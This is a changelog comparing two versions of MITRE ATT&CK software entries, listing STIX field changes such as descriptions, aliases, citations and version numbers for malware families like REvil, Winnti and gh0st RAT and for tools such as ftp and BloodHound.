| modified | 2021-10-16 01:58:17.100000+00:00 | 2022-04-15 15:23:57.525000+00:00 |
| description | [PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005) | [PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Darkmoon Aug 2005) |
| external_references[1]['source_name'] | PoisonIvy | Poison Ivy |
| external_references[2]['source_name'] | Poison Ivy | PoisonIvy |
| external_references[2]['description'] | (Citation: FireEye Poison Ivy) (Citation: Symantec Darkmoon Sept 2014) | (Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Sept 2014) |
| external_references[3]['source_name'] | Darkmoon | Breut |
| external_references[3]['description'] | (Citation: Symantec Darkmoon Sept 2014) | (Citation: Novetta-Axiom) |
| external_references[4]['source_name'] | FireEye Poison Ivy | Darkmoon |
| external_references[4]['description'] | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. | (Citation: Symantec Darkmoon Sept 2014) |
| external_references[5]['source_name'] | Symantec Elderwood Sept 2012 | FireEye Poison Ivy |
| external_references[5]['description'] | O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018. | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. |
| external_references[5]['url'] | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
| external_references[7]['source_name'] | Symantec Darkmoon Sept 2014 | Novetta-Axiom |
| external_references[7]['description'] | Payet, L. (2014, September 19). Life on Mars: How attackers took advantage of hope for alien existance in new Darkmoon campaign. Retrieved September 13, 2018. | Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. |
| external_references[7]['url'] | https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign | http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf |
| x_mitre_version | 1.3 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Symantec Elderwood Sept 2012', 'description': "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", 'url': 'https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf'} |
| external_references | | {'source_name': 'Symantec Darkmoon Sept 2014', 'description': 'Payet, L. (2014, September 19). Life on Mars: How attackers took advantage of hope for alien existance in new Darkmoon campaign. Retrieved September 13, 2018.', 'url': 'https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign'} |
| x_mitre_aliases | | Breut |
[S0147] Pteranodon
Current version: 2.0
Version changed from: 1.1 → 2.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-22 17:54:15.287000+00:00 | 2022-02-24 21:03:18.159000+00:00 |
| external_references[1]['source_name'] | Palo Alto Gamaredon Feb 2017 | Pterodo |
| external_references[1]['description'] | Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017. | (Citation: Symantec Shuckworm January 2022)(Citation: Secureworks IRON TILDEN Profile) |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Palo Alto Gamaredon Feb 2017', 'description': 'Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/'} |
| external_references | | {'source_name': 'Symantec Shuckworm January 2022', 'description': 'Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine'} |
| external_references | | {'source_name': 'Secureworks IRON TILDEN Profile', 'description': 'Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-tilden'} |
| x_mitre_aliases | | Pterodo |
[S0496] REvil
Current version: 2.0
Version changed from: 1.2 → 2.0
|
|
|---|
| t | [REvil](https://attack.mitre.org/software/S0496) is a ransom | t | [REvil](https://attack.mitre.org/software/S0496) is a ransom |
| ware family that has been linked to the [GOLD SOUTHFIELD](ht | | ware family that has been linked to the [GOLD SOUTHFIELD](ht |
| tps://attack.mitre.org/groups/G0115) group and operated as r | | tps://attack.mitre.org/groups/G0115) group and operated as r |
| ansomware-as-a-service (RaaS) since at least April 2019. [RE | | ansomware-as-a-service (RaaS) since at least April 2019. [RE |
| vil](https://attack.mitre.org/software/S0496) is highly conf | | vil](https://attack.mitre.org/software/S0496), which as been |
| igurable and shares code similarities with the GandCrab RaaS | | used against organizations in the manufacturing, transporta |
| .(Citation: Secureworks REvil September 2019)(Citation: Inte | | tion, and electric sectors, is highly configurable and share |
| l 471 REvil March 2020)(Citation: Group IB Ransomware May 20 | | s code similarities with the GandCrab RaaS.(Citation: Secure |
| 20) | | works REvil September 2019)(Citation: Intel 471 REvil March |
| | | 2020)(Citation: Group IB Ransomware May 2020) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-18 19:38:51.122000+00:00 | 2022-04-21 01:01:16.684000+00:00 |
| description | [REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020) | [REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020) |
| external_references[3]['source_name'] | Secureworks REvil September 2019 | Talos Sodinokibi April 2019 |
| external_references[3]['description'] | Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020. | Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020. |
| external_references[3]['url'] | https://www.secureworks.com/research/revil-sodinokibi-ransomware | https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html |
| external_references[4]['source_name'] | Intel 471 REvil March 2020 | Secureworks REvil September 2019 |
| external_references[4]['description'] | Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020. | Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020. |
| external_references[4]['url'] | https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/ | https://www.secureworks.com/research/revil-sodinokibi-ransomware |
| external_references[5]['source_name'] | Group IB Ransomware May 2020 | Cylance Sodinokibi July 2019 |
| external_references[5]['description'] | Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020. | Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020. |
| external_references[5]['url'] | https://www.group-ib.com/whitepapers/ransomware-uncovered.html | https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html |
| external_references[6]['source_name'] | Kaspersky Sodin July 2019 | Group IB Ransomware May 2020 |
| external_references[6]['description'] | Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020. | Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020. |
| external_references[6]['url'] | https://securelist.com/sodin-ransomware/91473/ | https://www.group-ib.com/whitepapers/ransomware-uncovered.html |
| external_references[8]['source_name'] | Cylance Sodinokibi July 2019 | Intel 471 REvil March 2020 |
| external_references[8]['description'] | Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020. | Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020. |
| external_references[8]['url'] | https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html | https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/ |
| external_references[9]['source_name'] | Secureworks GandCrab and REvil September 2019 | Kaspersky Sodin July 2019 |
| external_references[9]['description'] | Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020. | Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020. |
| external_references[9]['url'] | https://www.secureworks.com/blog/revil-the-gandcrab-connection | https://securelist.com/sodin-ransomware/91473/ |
| external_references[10]['source_name'] | Talos Sodinokibi April 2019 | McAfee Sodinokibi October 2019 |
| external_references[10]['description'] | Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020. | McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020. |
| external_references[10]['url'] | https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html | https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/ |
| external_references[11]['source_name'] | McAfee Sodinokibi October 2019 | Picus Sodinokibi January 2020 |
| external_references[11]['description'] | McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020. | Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020. |
| external_references[11]['url'] | https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/ | https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware |
| external_references[13]['source_name'] | Picus Sodinokibi January 2020 | Secureworks GandCrab and REvil September 2019 |
| external_references[13]['description'] | Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020. | Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020. |
| external_references[13]['url'] | https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware | https://www.secureworks.com/blog/revil-the-gandcrab-connection |
| x_mitre_version | 1.2 | 2.0 |
[S0094] Trojan.Karagany
Current version: 3.0
Version changed from: 2.0 → 3.0
|
|
|---|
| t | [Trojan.Karagany](https://attack.mitre.org/software/S0094) i | t | [Trojan.Karagany](https://attack.mitre.org/software/S0094) i |
| s a modular remote access tool used for recon and linked to | | s a modular remote access tool used for recon and linked to |
| [Dragonfly](https://attack.mitre.org/groups/G0035) and [Drag | | [Dragonfly](https://attack.mitre.org/groups/G0035). The sour |
| onfly 2.0](https://attack.mitre.org/groups/G0074). The sourc | | ce code for [Trojan.Karagany](https://attack.mitre.org/softw |
| e code for [Trojan.Karagany](https://attack.mitre.org/softwa | | are/S0094) originated from Dream Loader malware which was le |
| re/S0094) originated from Dream Loader malware which was lea | | aked in 2010 and sold on underground forums. (Citation: Syma |
| ked in 2010 and sold on underground forums. (Citation: Syman | | ntec Dragonfly)(Citation: Secureworks Karagany July 2019)(Ci |
| tec Dragonfly)(Citation: Secureworks Karagany July 2019)(Cit | | tation: Dragos DYMALLOY ) |
| ation: Dragos DYMALLOY ) | | |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-14 22:38:11.328000+00:00 | 2022-04-19 14:57:44.862000+00:00 |
| description | [Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY ) | [Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY ) |
| external_references[3]['source_name'] | Symantec Dragonfly | Dragos DYMALLOY |
| external_references[3]['description'] | Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. |
| external_references[3]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf | https://www.dragos.com/threat/dymalloy/ |
| external_references[5]['source_name'] | Dragos DYMALLOY | Symantec Dragonfly |
| external_references[5]['description'] | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. | Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. |
| external_references[5]['url'] | https://www.dragos.com/threat/dymalloy/ | https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments |
| x_mitre_version | 2.0 | 3.0 |
[S0141] Winnti for Windows
Current version: 3.0
Version changed from: 2.0 → 3.0
|
|
|---|
| t | [Winnti for Windows](https://attack.mitre.org/software/S0141 | t | [Winnti for Windows](https://attack.mitre.org/software/S0141 |
| ) is a Trojan that has been used by multiple groups to carry | | ) is a modular remote access Trojan (RAT) that has been used |
| out intrusions in varied regions from at least 2010 to 2016 | | likely by multiple groups to carry out intrusions in variou |
| . One of the groups using this malware is referred to by the | | s regions since at least 2010, including by one group referr |
| same name, [Winnti Group](https://attack.mitre.org/groups/G | | ed to as the same name, [Winnti Group](https://attack.mitre. |
| 0044); however, reporting indicates a second distinct group, | | org/groups/G0044).(Citation: Kaspersky Winnti April 2013)(Ci |
| [Axiom](https://attack.mitre.org/groups/G0001), also uses t | | tation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti |
| he malware. (Citation: Kaspersky Winnti April 2013) (Citatio | | April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The |
| n: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti Apri | | Linux variant is tracked separately under [Winnti for Linux |
| l 2015) The Linux variant is tracked separately under [Winnt | | ](https://attack.mitre.org/software/S0430).(Citation: Chroni |
| i for Linux](https://attack.mitre.org/software/S0430).(Citat | | cle Winnti for Linux May 2019) |
| ion: Chronicle Winnti for Linux May 2019) | | |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-05-04 12:29:49.081000+00:00 | 2022-04-15 16:38:19.439000+00:00 |
| description | [Winnti for Windows](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015) The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019) | [Winnti for Windows](https://attack.mitre.org/software/S0141) is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: Kaspersky Winnti April 2013)(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019) |
| external_references[1]['source_name'] | Kaspersky Winnti April 2013 | Microsoft Winnti Jan 2017 |
| external_references[1]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017. | Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017. |
| external_references[1]['url'] | https://securelist.com/winnti-more-than-just-a-game/37029/ | https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/ |
| external_references[2]['source_name'] | Microsoft Winnti Jan 2017 | Chronicle Winnti for Linux May 2019 |
| external_references[2]['description'] | Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017. | Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020. |
| external_references[2]['url'] | https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/ | https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a |
| external_references[3]['source_name'] | Novetta Winnti April 2015 | 401 TRG Winnti Umbrella May 2018 |
| external_references[3]['description'] | Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017. | Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018. |
| external_references[3]['url'] | http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf | https://401trg.github.io/pages/burning-umbrella.html |
| external_references[4]['source_name'] | Chronicle Winnti for Linux May 2019 | Kaspersky Winnti April 2013 |
| external_references[4]['description'] | Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020. | Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017. |
| external_references[4]['url'] | https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a | https://securelist.com/winnti-more-than-just-a-game/37029/ |
| x_mitre_version | 2.0 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Novetta Winnti April 2015', 'description': 'Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.', 'url': 'http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf'} |
[S0095] ftp
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | [FTP](https://attack.mitre.org/software/S0095) is a utility | t | [ftp](https://attack.mitre.org/software/S0095) is a utility |
| commonly available with operating systems to transfer inform | | commonly available with operating systems to transfer inform |
| ation over the File Transfer Protocol (FTP). Adversaries can | | ation over the File Transfer Protocol (FTP). Adversaries can |
| use it to transfer other tools onto a system or to exfiltra | | use it to transfer other tools onto a system or to exfiltra |
| te data. (Citation: Wikipedia FTP) | | te data.(Citation: Microsoft FTP)(Citation: Linux FTP) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 16:25:40.125000+00:00 | 2022-03-07 22:20:18.809000+00:00 |
| name | FTP | ftp |
| description | [FTP](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP) | [ftp](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.(Citation: Microsoft FTP)(Citation: Linux FTP) |
| external_references[1]['source_name'] | Wikipedia FTP | Microsoft FTP |
| external_references[1]['description'] | Wikipedia. (2016, June 15). File Transfer Protocol. Retrieved July 20, 2016. | Microsoft. (2021, July 21). ftp. Retrieved February 25, 2022. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/File_Transfer_Protocol | https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp |
| x_mitre_aliases[0] | FTP | ftp |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Linux FTP', 'description': 'N/A. (n.d.). ftp(1) - Linux man page. Retrieved February 25, 2022.', 'url': 'https://linux.die.net/man/1/ftp'} |
[S0032] gh0st RAT
Current version: 3.0
Version changed from: 2.3 → 3.0
|
|
|---|
| t | [gh0st RAT](https://attack.mitre.org/software/S0032) is a re | t | [gh0st RAT](https://attack.mitre.org/software/S0032) is a re |
| mote access tool (RAT). The source code is public and it has | | mote access tool (RAT). The source code is public and it has |
| been used by multiple groups. (Citation: FireEye Hacking Te | | been used by multiple groups.(Citation: FireEye Hacking Tea |
| am)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgr | | m)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgro |
| oup Gh0st April 2018) | | up Gh0st April 2018) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html | |
| external_references | https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/ | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-23 20:43:13.190000+00:00 | 2022-04-15 21:09:32.843000+00:00 |
| description | [gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups. (Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018) | [gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups.(Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018) |
| external_references[2]['source_name'] | FireEye Hacking Team | Mydoor |
| external_references[2]['description'] | FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016. | (Citation: Novetta-Axiom) |
| external_references[3]['source_name'] | Arbor Musical Chairs Feb 2018 | Moudoor |
| external_references[3]['description'] | Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018. | (Citation: Novetta-Axiom) |
| external_references[4]['source_name'] | Nccgroup Gh0st April 2018 | FireEye Hacking Team |
| external_references[4]['description'] | Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018. | FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016. |
| external_references[4]['url'] | https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/ | https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html |
| x_mitre_version | 2.3 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Novetta-Axiom', 'description': 'Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.', 'url': 'http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf'} |
| external_references | | {'source_name': 'Nccgroup Gh0st April 2018', 'description': 'Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.', 'url': 'https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/'} |
| external_references | | {'source_name': 'Arbor Musical Chairs Feb 2018', 'description': 'Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.', 'url': 'https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/'} |
| x_mitre_aliases | | Mydoor |
| x_mitre_aliases | | Moudoor |
Minor Version Changes
[S0622] AppleSeed
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 23:17:58.410000+00:00 | 2022-03-15 20:08:18.786000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[S0099] Arp
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | [Arp](https://attack.mitre.org/software/S0099) displays info | t | [Arp](https://attack.mitre.org/software/S0099) displays and |
| rmation about a system's Address Resolution Protocol (ARP) c | | modifies information about a system's Address Resolution Pro |
| ache. (Citation: TechNet Arp) | | tocol (ARP) cache. (Citation: TechNet Arp) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-12-07 18:27:04.603000+00:00 |
| description | [Arp](https://attack.mitre.org/software/S0099) displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp) | [Arp](https://attack.mitre.org/software/S0099) displays and modifies information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp) |
| x_mitre_version | 1.0 | 1.1 |
[S0521] BloodHound
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 23:23:19.517000+00:00 | 2022-04-20 19:58:05.109000+00:00 |
| external_references[1]['source_name'] | GitHub Bloodhound | FoxIT Wocao December 2019 |
| external_references[1]['description'] | Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019. | Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020. |
| external_references[1]['url'] | https://github.com/BloodHoundAD/BloodHound | https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf |
| external_references[3]['source_name'] | FoxIT Wocao December 2019 | GitHub Bloodhound |
